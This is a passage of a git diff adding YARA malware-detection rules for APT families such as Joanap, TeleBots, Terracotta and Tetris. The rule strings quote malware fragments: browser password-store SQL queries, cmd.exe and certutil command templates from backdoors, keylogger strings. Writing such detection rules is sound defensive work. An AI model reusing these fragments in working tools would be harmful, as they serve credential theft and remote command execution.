+      hash6 = "fee0081df5ca6a21953f3a633f2f64b7c0701977623d3a4ec36fff282ffe73b9"
+      hash7 = "53e9bca505652ef23477e105e6985102a45d9a14e5316d140752df6f3ef43d2d"
+      hash8 = "1d0999ba3217cbdb0cc85403ef75587f747556a97dee7c2616e28866db932a0d"
+      id = "a8df5f70-69e7-5c95-8af7-7dda6bb9c77a"
+   strings:
+      $x1 = "User-Agent: Mozillar/5.0" fullword ascii
+      $x2 = "[Cmd] - CMD_BOTCMD_CONNLOG_GET" fullword wide
+      $x3 = "[TestConnect To Bot] - Port = %d" fullword ascii
+      $x4 = "b50a338264226b6d57c1936d9db140ba74a28930270a083353645a9b518661f4fcea160d7" ascii
+
+      $s1 = "%sigfx%c%c%c.exe" fullword wide
+      $s2 = "H_%s_%016I64X_%04d%02d%02d%02d%02d%02d.TXT" fullword ascii
+      $s3 = "cmd.exe /c %s > %s 2>&1" fullword wide
+      $s4 = "%s\\dllcache\\%s.dll" fullword ascii
+      $s5 = "Cond Fail." fullword ascii
+      $s6 = "The %s %s%s" fullword ascii
+      $s7 = "%s \"%s\"%s \"%s\" %s \"%s\"" fullword ascii
+      $s8 = "DLL_Spider.dll" fullword ascii
+   condition:
+      filesize < 400KB and (
+         1 of ($x*) or /* Very specific strings */
+         ( uint16(0) == 0x5a4d and 2 of them ) /* Others combined with the MZ header */
+      ) or
+      /* Imphash */
+      ( uint16(0) == 0x5a4d and pe.imphash() == "ea42395e901b33bad504798e0f0fd74b" )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_ta18_074A.yar b/yara-Neo23x0/apt_ta18_074A.yar
new file mode 100644
index 0000000..d21163c
--- /dev/null
+++ b/yara-Neo23x0/apt_ta18_074A.yar
@@ -0,0 +1,67 @@
+/*
+   Yara Rule Set
+   Author: DHS NCCIC Hunt and Incident Response Team (revised by Florian Roth)
+   Date: 2018-03-16
+   Identifier: TA18-074A
+   Reference: https://www.us-cert.gov/ncas/alerts/TA18-074A
+*/
+
+rule WEBSHELL_Z_Webshell_2 {
+   meta:
+      description = "Detection for the z_webshell"
+      author = "DHS NCCIC Hunt and Incident Response Team"
+      date = "2018/01/25"
+      old_rule_name = "z_webshell"
+      md5 =  "2C9095C965A55EFC46E16B86F9B7D6C6"
+      id = "9a54925f-de10-567f-a1ea-5e7522b47dfd"
+   strings:
+      $webshell_name = "public string z_progname =" nocase ascii wide
+      $webshell_password = "public string Password =" nocase ascii wide
+   condition:
+      ( uint32(0) == 0x2040253c or uint32(0) == 0x7073613c )
+      and filesize < 100KB
+      and 2 of ($webshell_*)
+}
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-03-16
+   Identifier: TA18-074A
+   Reference: https://www.us-cert.gov/ncas/alerts/TA18-074A
+*/
+
+rule TA18_074A_screen {
+   meta:
+      description = "Detects malware mentioned in TA18-074A"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA18-074A"
+      date = "2018-03-16"
+      hash1 = "2f159b71183a69928ba8f26b76772ec504aefeac71021b012bd006162e133731"
+      id = "789ee5e5-83c3-5137-a078-ff230dbf8fcd"
+   strings:
+      $s1 = "screen.exe" fullword wide
+      $s2 = "PlatformInvokeUSER32" fullword ascii
+      $s3 = "GetDesktopImageF" fullword ascii
+      $s4 = "PlatformInvokeGDI32" fullword ascii
+      $s5 = "Too many arguments, going to store in current dir" fullword wide
+   condition:
+      uint16(0) == 0x5a4d and filesize < 60KB and 3 of them
+}
+
+rule TA18_074A_scripts {
+   meta:
+      description = "Detects malware mentioned in TA18-074A"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA18-074A"
+      date = "2018-03-16"
+      modified = "2022-08-18"
+      hash1 = "2f159b71183a69928ba8f26b76772ec504aefeac71021b012bd006162e133731"
+      id = "4c786098-c5f4-529b-8732-03183dfa94b5"
+   strings:
+      $s1 = "Running -s cmd /c query user on " ascii
+   condition:
+      filesize < 600KB and 1 of them
+}
diff --git a/yara-Neo23x0/apt_ta18_149A.yar b/yara-Neo23x0/apt_ta18_149A.yar
new file mode 100644
index 0000000..b706246
--- /dev/null
+++ b/yara-Neo23x0/apt_ta18_149A.yar
@@ -0,0 +1,78 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-05-30
+   Identifier: TA-18-149A
+   Reference: https://www.us-cert.gov/ncas/alerts/TA18-149A
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule APT_TA18_149A_Joanap_Sample1 {
+   meta:
+      description = "Detects malware from TA18-149A report by US-CERT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA18-149A"
+      date = "2018-05-30"
+      hash1 = "ea46ed5aed900cd9f01156a1cd446cbb3e10191f9f980e9f710ea1c20440c781"
+      id = "a3a4f9a6-367d-5d99-bffb-f4ff03fa4a09"
+   strings:
+      $x1 = "cmd.exe /q /c net share adnim$" ascii
+      $x2 = "\\\\%s\\adnim$\\system32\\%s" fullword ascii
+      $s1 = "SMB_Dll.dll" fullword ascii
+      $s2 = "%s User or Password is not correct!" fullword ascii
+      $s3 = "perfw06.dat" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 300KB and (
+         pe.imphash() == "f0087d7b90876a2769f2229c6789fcf3" or
+         1 of ($x*) or
+         2 of them
+      )
+}
+
+rule APT_TA18_149A_Joanap_Sample2 {
+   meta:
+      description = "Detects malware from TA18-149A report by US-CERT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA18-149A"
+      date = "2018-05-30"
+      hash1 = "077d9e0e12357d27f7f0c336239e961a7049971446f7a3f10268d9439ef67885"
+      id = "9f4e6e6c-ee2b-5fa3-bf85-5a1652b38c52"
+   strings:
+      $s1 = "%SystemRoot%\\system32\\svchost.exe -k Wmmvsvc" fullword ascii
+      $s2 = "%SystemRoot%\\system32\\svchost.exe -k SCardPrv" fullword ascii
+      $s3 = "%SystemRoot%\\system32\\Wmmvsvc.dll" fullword ascii
+      $s4 = "%SystemRoot%\\system32\\scardprv.dll" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 600KB and (
+         pe.imphash() == "e8cd12071a8e823ebc434c8ee3e23203" or
+         2 of them
+      )
+}
+
+rule APT_TA18_149A_Joanap_Sample3 {
+   meta:
+      description = "Detects malware from TA18-149A report by US-CERT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.us-cert.gov/ncas/alerts/TA18-149A"
+      date = "2018-05-30"
+      hash1 = "a1c483b0ee740291b91b11e18dd05f0a460127acfc19d47b446d11cd0e26d717"
+      id = "1c2551bc-01dd-5b30-a4cc-703a868cde73"
+   strings:
+      $s1 = "mssvcdll.dll" fullword ascii
+      $s2 = "https://www.google.com/index.html" fullword ascii
+      $s3 = "LOGINDLG" fullword wide
+      $s4 = "rundll" fullword ascii
+      $s5 = "%%s\\%%s%%0%dd.%%s" fullword ascii
+      $s6 = "%%s\\%%s%%0%dd" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and (
+         pe.imphash() == "f6f7b2e00921129d18061822197111cd" or
+         3 of them
+      )
+}
diff --git a/yara-Neo23x0/apt_ta459.yar b/yara-Neo23x0/apt_ta459.yar
new file mode 100644
index 0000000..be8f873
--- /dev/null
+++ b/yara-Neo23x0/apt_ta459.yar
@@ -0,0 +1,45 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-05-31
+   Identifier: TA 459 - April 2017
+   Reference: https://goo.gl/RLf9qU
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule TA459_Malware_May17_1 {
+   meta:
+      description = "Detects TA459 related malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/RLf9qU"
+      date = "2017-05-31"
+      hash1 = "5fd61793d498a395861fa263e4438183a3c4e6f1e4f098ac6e97c9d0911327bf"
+      id = "eb5d2464-ab95-5f5d-8b20-fa023da53130"
+   strings:
+      $s3 = "xtsewy" fullword ascii
+      $s6 = "CW&mhAklnfVULL" ascii
+   condition:
+      ( uint16(0) == 0x6152 and filesize < 800KB and all of them )
+}
+
+rule TA459_Malware_May17_2 {
+   meta:
+      description = "Detects TA459 related malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/RLf9qU"
+      date = "2017-05-31"
+      hash1 = "4601133e94c4bc74916a9d96a5bc27cc3125cdc0be7225b2c7d4047f8506b3aa"
+      id = "62954422-4657-5ded-9883-bb78eac697fb"
+   strings:
+      $a1 = "Mcutil.dll" fullword ascii
+      $a2 = "mcut.exe" fullword ascii
+
+      $s1 = "Software\\WinRAR SFX" fullword ascii
+      $s2 = "AYou may need to run this self-extracting archive as administrator" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 900KB and all of ($a*) and 1 of ($s*) )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_telebots.yar b/yara-Neo23x0/apt_telebots.yar
new file mode 100644
index 0000000..81cba98
--- /dev/null
+++ b/yara-Neo23x0/apt_telebots.yar
@@ -0,0 +1,144 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2016-12-14
+   Identifier: TeleBots
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule TeleBots_IntercepterNG {
+   meta:
+      description = "Detects TeleBots malware - IntercepterNG"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/4if3HG"
+      date = "2016-12-14"
+      hash1 = "5f9fef7974d37922ac91365588fbe7b544e13abbbde7c262fe30bade7026e118"
+      id = "f4d48eb6-8235-534d-a32f-7f2711b96e9d"
+   strings:
+      $s1 = "Usage: %s iface_num\\dump [mode] [w] [-gw] [-t1 ip]" fullword ascii
+      $s2 = "Target%d found: %s - [%.2X-%.2X-%.2X-%.2X-%.2X-%.2X]" fullword ascii
+      $s3 = "3: passwords + files, no arp poison" fullword ascii
+      $s4 = "IRC Joining Keyed Channel intercepted" fullword ascii
+      $s5 = "-tX - set target ip" fullword ascii
+      $s6 = "w - save session to .pcap dump" fullword ascii
+      $s7 = "example: %s 1 1 -gw 192.168.1.1 -t1 192.168.1.3 -t2 192.168.1.5" fullword ascii
+      $s8 = "ORACLE8 DES Authorization intercepted" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 500KB and 1 of them ) or ( 4 of them )
+}
+
+rule TeleBots_KillDisk_1 {
+   meta:
+      description = "Detects TeleBots malware - KillDisk"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/4if3HG"
+      date = "2016-12-14"
+      hash1 = "8246f709efa922a485e1ca32d8b0d10dc752618e8b3fce4d3dd58d10e4a6a16d"
+      id = "111fc6bc-b790-51b9-81b7-a4716bb0aee9"
+   strings:
+      $s1 = "Plug-And-Play Support Service" fullword wide
+      $s2 = " /c \"echo Y|" fullword wide
+      $s3 = "-set=06.12.2016#09:30 -est=1410" fullword ascii
+      $s4 = "%d.%d.%d#%d:%d" fullword ascii
+      $s5 = " /T /C /G " fullword wide
+      $s6 = "[-] > %ls" fullword wide
+      $s7 = "[+] > %ls" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 500KB and 4 of them ) or ( 6 of them )
+}
+
+rule TeleBots_KillDisk_2 {
+   meta:
+      description = "Detects TeleBots malware - KillDisk"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/4if3HG"
+      date = "2016-12-14"
+      hash1 = "26173c9ec8fd1c4f9f18f89683b23267f6f9d116196ed15655e9cb453af2890e"
+      id = "7797187f-c94b-5323-ae43-2dc001f0b481"
+   strings:
+      $s1 = "Plug-And-Play Support Service" fullword wide
+      $s2 = " /c \"echo Y|" fullword wide
+      $s3 = "%d.%d.%d#%d:%d" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 500KB and all of them )
+}
+
+rule TeleBots_CredRaptor_Password_Stealer {
+   meta:
+      description = "Detects TeleBots malware - CredRaptor Password Stealer"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/4if3HG"
+      date = "2016-12-14"
+      modified = "2023-01-06"
+      hash1 = "50b990f6555055a265fde98324759dbc74619d6a7c49b9fd786775299bf77d26"
+      id = "f594a946-13b4-5179-9029-a0730634d55f"
+   strings:
+      $s1 = "C:\\Documents and Settings\\Administrator\\Desktop\\GetPAI\\Out\\IE.pdb" fullword ascii
+      $s2 = "SELECT encryptedUsername, encryptedPassword, hostname,httpRealm FROM moz_logins" fullword ascii
+      $s3 = "SELECT ORIGIN_URL,USERNAME_VALUE,PASSWORD_VALUE FROM LOGINS" fullword ascii
+      $s4 = ".\\PAI\\IEforXPpasswords.txt" ascii
+      $s5 = "\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" ascii
+      $s6 = "Opera old version credentials" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 2000KB and 2 of them ) or ( 4 of them )
+}
+
+rule TeleBots_VBS_Backdoor_1 {
+   meta:
+      description = "Detects TeleBots malware - VBS Backdoor"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/4if3HG"
+      date = "2016-12-14"
+      hash1 = "eb31a918ccc1643d069cf08b7958e2760e8551ba3b88ea9e5d496e07437273b2"
+      id = "2b711f66-8ec5-5b9a-a762-7e6668c821c9"
+   strings:
+      $s1 = "cmd = \"cmd.exe /c \" + arg + \" >\" + outfile +\" 2>&1\"" fullword ascii
+      $s2 = "GetTemp = \"c:\\WINDOWS\\addins\"" fullword ascii
+      $s3 = "elseif (arg0 = \"-dump\") Then" fullword ascii
+      $s4 = "decode = \"certutil -decode \" + source + \" \" + dest  " fullword ascii
+   condition:
+      ( uint16(0) == 0x6553 and filesize < 8KB and 1 of them ) or ( all of them )
+}
+
+rule TeleBots_VBS_Backdoor_2 {
+   meta:
+      description = "Detects TeleBots malware - VBS Backdoor"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/4if3HG"
+      date = "2016-12-14"
+      hash1 = "1b2a5922b58c8060844b43e14dfa5b0c8b119f281f54a46f0f1c34accde71ddb"
+      id = "151849af-f1d0-529c-94f2-287312f6515e"
+   strings:
+      $s1 = "cmd = \"cmd.exe /c \" + arg + \" \" + arg2" fullword ascii
+      $s2 = "Dim WMI:  Set WMI = GetObject(\"winmgmts:\\\\.\\root\\cimv2\")" fullword ascii
+      $s3 = "cmd = \"certutil -encode -f \" + source + \" \" + dest" fullword ascii
+   condition:
+      ( uint16(0) == 0x6944 and filesize < 30KB and 1 of them ) or ( 2 of them )
+}
+
+rule TeleBots_Win64_Spy_KeyLogger_G {
+   meta:
+      description = "Detects TeleBots malware - Win64 Spy KeyLogger G"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://goo.gl/4if3HG"
+      date = "2016-12-14"
+      hash1 = "e3f134ae88f05463c4707a80f956a689fba7066bb5357f6d45cba312ad0db68e"
+      id = "fd16a198-1b28-532b-a1ba-70680469ec51"
+   strings:
+      $s1 = "C:\\WRK\\GHook\\gHook\\x64\\Debug\\gHookx64.pdb" fullword ascii
+      $s2 = "Install hooks error!" fullword wide
+      $s4 = "%ls%d.~tmp" fullword wide
+      $s5 = "[*]Window PID > %d: " fullword wide
+      $s6 = "Install hooks ok!" fullword wide
+      $s7 = "[!]Clipboard paste" fullword wide
+      $s9 = "[*] IMAGE : %ls" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 600KB and 1 of them ) or ( 3 of them )
+}
diff --git a/yara-Neo23x0/apt_terracotta.yar b/yara-Neo23x0/apt_terracotta.yar
new file mode 100644
index 0000000..925a1b2
--- /dev/null
+++ b/yara-Neo23x0/apt_terracotta.yar
@@ -0,0 +1,108 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-08-04
+	Identifier: Terracotta APT
+	Comment: Reduced Rule Set
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Apolmy_Privesc_Trojan {
+	meta:
+		description = "Apolmy Privilege Escalation Trojan used in APT Terracotta"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+		date = "2015-08-04"
+		score = 80
+		hash = "d7bd289e6cee228eb46a1be1fcdc3a2bd5251bc1eafb59f8111756777d8f373d"
+		id = "2f3f496b-ebfe-5a6e-89ad-a24af6378fd7"
+	strings:
+		$s1 = "[%d] Failed, %08X" fullword ascii
+		$s2 = "[%d] Offset can not fetched." fullword ascii
+		$s3 = "PowerShadow2011" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule Mithozhan_Trojan {
+	meta:
+		description = "Mitozhan Trojan used in APT Terracotta"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+		date = "2015-08-04"
+		score = 70
+		hash = "8553b945e2d4b9f45c438797d6b5e73cfe2899af1f9fd87593af4fd7fb51794a"
+		id = "5e2b4e08-1a35-5eb0-8c25-a73d45b0e279"
+	strings:
+		$s1 = "adbrowser" fullword wide 
+		$s2 = "IJKLlGdmaWhram0vn36BgIOChYR3L45xcHNydXQvhmloa2ptbH8voYCDTw==" fullword ascii
+		$s3 = "EFGHlGdmaWhrL41sf36BgIOCL6R3dk8=" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule RemoteExec_Tool {
+	meta:
+		description = "Remote Access Tool used in APT Terracotta"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+		date = "2015-08-04"
+		hash = "a550131e106ff3c703666f15d55d9bc8c816d1cb9ac1b73c2e29f8aa01e53b78"
+		id = "c3262147-3455-554c-88fc-b523352efe7f"
+	strings:
+		$s0 = "cmd.exe /q /c \"%s\"" fullword ascii 
+		$s1 = "\\\\.\\pipe\\%s%s%d" fullword ascii 
+		$s2 = "This is a service executable! Couldn't start directly." fullword ascii 
+		$s3 = "\\\\.\\pipe\\TermHlp_communicaton" fullword ascii 
+		$s4 = "TermHlp_stdout" fullword ascii 
+		$s5 = "TermHlp_stdin" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 75KB and 4 of ($s*)
+}
+
+/* Super Rules ------------------------------------------------------------- */
+
+rule LiuDoor_Malware_1 {
+	meta:
+		description = "Liudoor Trojan used in Terracotta APT"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+		date = "2015-08-04"
+		score = 70
+		super_rule = 1
+		hash1 = "deed6e2a31349253143d4069613905e1dfc3ad4589f6987388de13e33ac187fc"
+		hash2 = "4575e7fc8f156d1d499aab5064a4832953cd43795574b4c7b9165cdc92993ce5"
+		hash3 = "ad1a507709c75fe93708ce9ca1227c5fefa812997ed9104ff9adfec62a3ec2bb"
+		id = "ebd5833e-1f5c-5166-aaba-d0be64829e6c"
+	strings:
+		$s1 = "svchostdllserver.dll" fullword ascii 
+		$s2 = "SvcHostDLL: RegisterServiceCtrlHandler %S failed" fullword ascii 
+		$s3 = "\\nbtstat.exe" ascii
+		$s4 = "DataVersionEx" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and all of them
+}
+
+rule LiuDoor_Malware_2 {
+	meta:
+		description = "Liudoor Trojan used in Terracotta APT"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://blogs.rsa.com/terracotta-vpn-enabler-of-advanced-threat-anonymity/"
+		date = "2015-08-04"
+		score = 70
+		super_rule = 1
+		hash1 = "f3fb68b21490ded2ae7327271d3412fbbf9d705c8003a195a705c47c98b43800"
+		hash2 = "e42b8385e1aecd89a94a740a2c7cd5ef157b091fabd52cd6f86e47534ca2863e"
+		id = "30b9d727-ec77-5ead-80dd-6d442478e78b"
+	strings:
+		$s0 = "svchostdllserver.dll" fullword ascii 
+		$s1 = "Lpykh~mzCCRv|mplpykCCHvq{phlCC\\jmmzqkIzmlvpqCC" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
diff --git a/yara-Neo23x0/apt_terracotta_liudoor.yar b/yara-Neo23x0/apt_terracotta_liudoor.yar
new file mode 100644
index 0000000..d440863
--- /dev/null
+++ b/yara-Neo23x0/apt_terracotta_liudoor.yar
@@ -0,0 +1,25 @@
+rule APT_Liudoor {
+    meta:
+        author = "RSA FirstWatch"
+        date = "2015-07-23"
+        description = "Detects Liudoor daemon backdoor"
+        hash0 = "78b56bc3edbee3a425c96738760ee406"
+        hash1 = "5aa0510f6f1b0e48f0303b9a4bfc641e"
+        hash2 = "531d30c8ee27d62e6fbe855299d0e7de"
+        hash3 = "2be2ac65fd97ccc97027184f0310f2f3"
+        hash4 = "6093505c7f7ec25b1934d3657649ef07"
+        type = "Win32 DLL"
+        id = "cf7e08b8-2ccd-5828-917b-11340b4a86b1"
+    strings:
+        $string0 = "Succ"
+        $string1 = "Fail"
+        $string2 = "pass"
+        $string3 = "exit"
+        $string4 = "svchostdllserver.dll"
+        $string5 = "L$,PQR"
+        $string6 = "0/0B0H0Q0W0k0"
+        $string7 = "QSUVWh"
+        $string8 = "Ht Hu["
+    condition:
+        all of them
+}
diff --git a/yara-Neo23x0/apt_tetris.yar b/yara-Neo23x0/apt_tetris.yar
new file mode 100644
index 0000000..d0889e7
--- /dev/null
+++ b/yara-Neo23x0/apt_tetris.yar
@@ -0,0 +1,114 @@
+
+rule apt_CN_Tetris_JS_advanced_1
+{
+    meta:
+        author      = "@imp0rtp3 (modified by Florian Roth)"
+        description = "Unique code from Jetriz, Swid & Jeniva of the Tetris framework"
+        reference   = "https://imp0rtp3.wordpress.com/2021/08/12/tetris"
+        date = "2020-09-06"
+
+        id = "a56f69f5-3562-52ab-9686-411019c51055"
+   strings:
+      $a1 = "var a0_0x"
+      $b1 = "a0_0x" ascii
+      
+      $cx1 = "))),function(){try{var _0x"
+      $cx2 = "=window)||void 0x0===_0x"
+      $cx3 = "){if(opener&&void 0x0!==opener[" //not dep on a0
+      $cx4 = "String['fromCharCode'](0x"
+      
+      $e1 = "')](__p__)"
+   condition:
+   $a1 at 0 
+   or (
+      filesize < 1000KB
+      and (
+         #b1 > 300
+         or #e1 > 1 
+         or 2 of ($cx*)
+      )
+   )
+}
+
+
+rule apt_CN_Tetrisplugins_JS    
+{
+	meta:
+		author      = "@imp0rtp3"
+		description = "Code and strings of plugins from the Tetris framework loaded by Swid"
+		reference   = "https://imp0rtp3.wordpress.com/2021/08/12/tetris"
+		date = "2020-09-06"
+
+		id = "83e6fbad-55d6-5229-a17d-8929e0e658f8"
+	strings:
+
+		// Really unique strings
+		$a3 = "(0xbb8);this['socketWatcher'](0xbb9);this["
+		$a4 = "a2869674571f77b5a0867c3d71db5856"
+		$a5 = "\\x0a\\x20\\x20var\\x20data\\x20=\\x20{}\\x0a\\x20\\x20window.c\\x20=\\x200\\x0a\\x20\\x20script2\\x20=\\x20document.createElement(\\x22script\\x22)\\x0a\\x20\\x20script2.async\\x20=\\x20true\\x0a\\x20\\x20script2.src\\x20=\\x20\\x22"
+		$a6 = "{isPluginCallback:\\x20true,\\x20data,\\x20plugin:\\x20'"
+		$a7 = "\\x20\\x22*\\x22)\\x0a\\x20\\x20}\\x0a\\x20\\x20document.documentElement.appendChild("
+		
+		// Still quite unique, but FP possible
+		$b1 = "String(str).match(/red\">(.*?)<\\/font>/)"
+		$b2 = "['data']);}};}},{'key':'run','value':function _0x"
+		$b3 = "},{'plugin':this['plugin'],'save':!![],'type':_typeof("
+		$b4 = "Cannot\\x20call\\x20a\\x20class\\x20as\\x20a\\x20function"
+		$b5 = "The\\x20command\\x20is\\x20sent\\x20successfully,\\x20wait\\x20for\\x20the\\x20result\\x20to\\x20return"
+		$b6 = "getUserMedia\\x20is\\x20not\\x20implemented\\x20in\\x20this\\x20browser"
+		$b7 = "{'autoplay':'true'},!![]);setTimeout(function(){return $('#'+"
+		$b8 = "keyLogger($('input'));\n        keyLogger($('textarea'));"
+		$b9 = "api.loadJS(\"\".concat(api.base.baseUrl"
+		$b10 = "\"\".concat(imgUrls[i], \"?t=\""
+		$b11 = "key: \"report\",\n      value: function report(data) {\n        return this.api.callback"
+		$b12 = "that.api.base.debounce("
+		$b13 = "'className','restOfNavigator','push'"
+		$b14 = ";};'use strict';function _typeof("
+		
+		// Rare strings, but not unique
+		$c1 = "/public/dependence/jquery"
+		$c2 = "'http://bn6kma5cpxill4pe.onion/static/images/tor-logo1x.png'"
+		$c3 = "'163.com not login';"
+		$c4 = "'ws://localhost:'"
+		$c5 = "function _typeof(obj) { \"@babel/helpers - typeof\"; "
+		$c6 = "'socketWatcher'"
+		$c7 = "['configurable']=!![];"
+		$c8 = "')]({'status':!![],'data':_0x"
+		$c9 = "')]={'localStorage':'localStorage'in window?window[_0x"
+		$c10 = "Browser not supported geolocation.');"
+		$c11 = "')]({'status':!![],'msg':'','data':_0x"
+		$c12 = "var Plugin = /*#__PURE__*/function () {"
+		
+		// The TA uses the use strict in all his plugins
+		$use_strict1 = "\"use strict\";"
+		$use_strict2 = "'use strict';"
+
+		// Some of the same strings in base64, in case the attacker change their obfuscation there
+		$e1 = "Cannot\x20call\x20a\x20class\x20as\x20a\x20function" base64
+		$e2 = "The\x20command\x20is\x20sent\x20successfully,\x20wait\x20for\x20the\x20result\x20to\x20return" base64
+		$e3 = "getUserMedia\x20is\x20not\x20implemented\x20in\x20this\x20browser" base64
+		$e4 = "http://bn6kma5cpxill4pe.onion/static/images/tor-logo1x.png" base64
+		$e5 = "/public/dependence/jquery" base64
+		$e6 = "\x20\x22*\x22)\x0a\x20\x20}\x0a\x20\x20document.documentElement.appendChild(" base64
+		$e8 = "\x0a\x20\x20var\x20data\x20=\x20{}\x0a\x20\x20window.c\x20=\x200\x0a\x20\x20script2\x20=\x20document.createElement(\x22script\x22)\x0a\x20\x20script2.async\x20=\x20true\x0a\x20\x20script2.src\x20=\x20\x22"  base64
+		$e9 = "{isPluginCallback:\x20true,\x20data,\x20plugin:\x20" base64
+		
+	condition:
+		filesize < 1000000 
+		and (
+			any of ($a*) 
+			or 2 of ($b*)
+			or 4 of ($c*)
+			or 2 of ($e*)
+			or(
+				any of ($use_strict*)
+				and(
+					(
+						any of ($b*) 
+						and 2 of ($c*)
+					)
+					or any of ($e*)
+				)
+			)
+		)
+}
diff --git a/yara-Neo23x0/apt_threatgroup_3390.yar b/yara-Neo23x0/apt_threatgroup_3390.yar
new file mode 100644
index 0000000..decd5fb
--- /dev/null
+++ b/yara-Neo23x0/apt_threatgroup_3390.yar
@@ -0,0 +1,323 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-08-06
+	Identifier: Threat Group 3390
+*/
+
+rule HttpBrowser_RAT_dropper_Gen1 {
+	meta:
+		description = "Threat Group 3390 APT Sample - HttpBrowser RAT Dropper"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://snip.ly/giNB"
+		date = "2015-08-06"
+		score = 70
+		hash1 = "808de72f1eae29e3c1b2c32be1b84c5064865a235866edf5e790d2a7ba709907"
+		hash2 = "f6f966d605c5e79de462a65df437ddfca0ad4eb5faba94fc875aba51a4b894a7"
+		hash3 = "f424965a35477d822bbadb821125995616dc980d3d4f94a68c87d0cd9b291df9"
+		hash4 = "01441546fbd20487cb2525a0e34e635eff2abe5c3afc131c7182113220f02753"
+		hash5 = "8cd8159f6e4689f572e2087394452e80e62297af02ca55fe221fe5d7570ad47b"
+		hash6 = "10de38419c9a02b80ab7bf2f1f1f15f57dbb0fbc9df14b9171dc93879c5a0c53"
